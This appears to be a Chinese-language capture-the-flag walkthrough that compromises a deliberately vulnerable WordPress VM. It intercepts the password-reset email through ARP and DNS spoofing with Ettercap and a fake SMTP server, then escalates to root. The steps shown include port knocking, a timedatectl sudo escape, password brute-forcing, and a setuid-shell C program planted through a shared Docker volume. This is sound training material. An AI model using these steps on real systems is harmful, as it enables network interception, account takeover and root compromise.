使用NMAP扫描,发现只开放了22和80端口
访问网站查看网页源代码没发现有用的信息,但发现该网站是由wordpress搭建,网站使用的域名为:tf2
添加域名解析,然后使用wpscan进行扫描,未发现可利用的信息或漏洞,只得到两个用户名:admin、tommy
添加域名解析:echo "192.168.56.10 tf2" >> /etc/hosts
使用wpscan扫描:wpscan --url http://tf2/ --enumerate u
尝试使用Hydra将tommy作为用户名进行ssh爆破,但发现22端口无法访问
使用gobuster扫描目录,也没发现有用的文件,重新浏览网站
访问网站的后台登录页面的时候,发现忘记密码功能是生效的
使用wireshark抓包,查看到发送的域名地址为:smtp.tempusfugit2.com
由于忘记密码功能可用,这里通过DNS劫持获得忘记密码功能发送的密码重置邮件信息,重置admin密码(注意:由于靶机是通过DHCP获取的,要确保靶机有DNS地址)
查找etter.dns文件位置,编辑etter.dns文件,添加smtp.tempusfugit2.com域名信息
查找etter.dns文件位置:locate etter.dns
编辑etter.dns文件:vi /etc/ettercap/etter.dns
添加以下信息:(注意:图片中的IP地址为攻击主机(Kali)的地址)
打开Ettercap,扫描该网段的地址,然后将靶机地址(192.168.56.10)设置为Target1,DNS服务器地址(192.168.56.2)设置为Target2
设置Ettercap Menu和MITM
Ettercap Menu->Plugins->Manage plugins->dns_spoof(双击)
MITM->ARPpoisoning->Sniff remote conncetions(选择)->OK(选择)
使用python开启SMTP服务来获取密码重置邮件
开启SMTP服务:python -m aiosmtpd --nosetuid -l 192.168.56.2:25
重新发送密码重置邮件,成功获取邮件
使用邮件的链接重置admin密码,然后登录后台管理界面
通过常用的wordpress后台getshell方法,然后通过反弹shell连接,具体方法这里不做介绍
连接反弹shell后,查看wordpress的配置文件/var/www/html/wp-,得到连接数据库的账户/密码:ElvisP/super.Secret.SQL.Password.For.ElvisP
查看home目录,没有存在其他用户,sudo -l 提示没有找到命令,查看SUID权限没有找到可利用的提权文件,使用pspy64s没有找到可疑的进程。
最后在/var/www/html/wp-content/TFDocuments/发现nb.txt存在可疑的信息:YW5zdGljZTo5bTRsdzByODJsbjYK,使用base64解码得到:anstice:9m4lw0r82ln6
看起来像是账号密码,但是home目录下也没有其他用户信息,尝试登录root用户但提示没有su命令,最后在后台管理界面的Accessing the server帖子中发现了提示的内容
根据内容的提示需要使用knock打开相关的端口,端口的信息是released and Jenny's number这首歌曲的发行时间和号码:1981 867 5309
根据以上的数字进行端口敲击,可是未发现新增的端口,但是22端口却可以访问了,尝试刚刚base64解码的账号密码,成功登录
knock敲击端口:knock 192.168.56.10 1981 867 5309
登录后居然可以直接访问/root,但是/root路径下没有flag只存在脚本proof.sh和文件夹 wp,脚本需要root权限执行,wp文件夹可以访问,访问后发现有一个wp-content类似网站的备份文件夹
执行sudo -l,发现当前用户具有asghar用户的/usr/bin/timedatectl免密执行权限,使用timedatectl提权到asghar用户
timedatectl提权:
sudo -u asghar /usr/bin/timedatectl list-timezones
!/bin/bash
在/home/asghar/路径中获得第一个flag(user.txt)
查看 /home/asghar/路径的list文件,显示docker信息,第1个是网站的容器,第2个是数据库的容器
查看当前的docker运行信息,提示没有权限,sudo -l需要密码,于是尝试爆破asghar的密码,爆破出密码为:barney
登录asghar用户然后执行sudo -l,该用户具有root权限免密执行/usr/bin/docker exec *,根据刚刚list文件的内容,通过容器ID登录容器中查看
登录容器:sudo /usr/bin/docker exec -it 1786dd63dedb bash
根据之前root路径下有一个网站的wp-content文件夹,怀疑是主机与容器共享一个文件夹,通过刚刚的反弹shell(www-data用户权限)在/var/www/html/wp-content文件夹下面创建一个文件,
然后回来查看/root/wp/wp-content/文件夹确实多了一个文件
由于网站的容器里面wp-content文件夹与主机的/root/wp/wp-content/是相互共享的,我们可以通过容器里的root权限制作一个拥有SUID权限的提权文件,然后放入wp-content文件夹中,之后在主机上执行该权限进行提权
1.编写提权文件
vi shell.c
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0);
}
2.添加/wp-content/的写权限
3.使用scp将shell.c文件放入/wp-conten文件夹中(注意:IP地址和路径根据实际情况填写)
4.进入容器编译shell文件,然后修改文件的用户和用户组并且赋予SUID权限
进入容器:sudo /usr/bin/docker exec -it 1786dd63dedb bash
编译文件:cd wp-content/ && gcc shell.c -o shell
修改文件用户和用户组:chown root.root shell
赋予SUID权限:chmod 4755 shell
5.退出容器,进入/root/wp/wp-content文件夹执行shell文件,获得root权限
6.执行/root/proof.sh脚本,获得最终的flag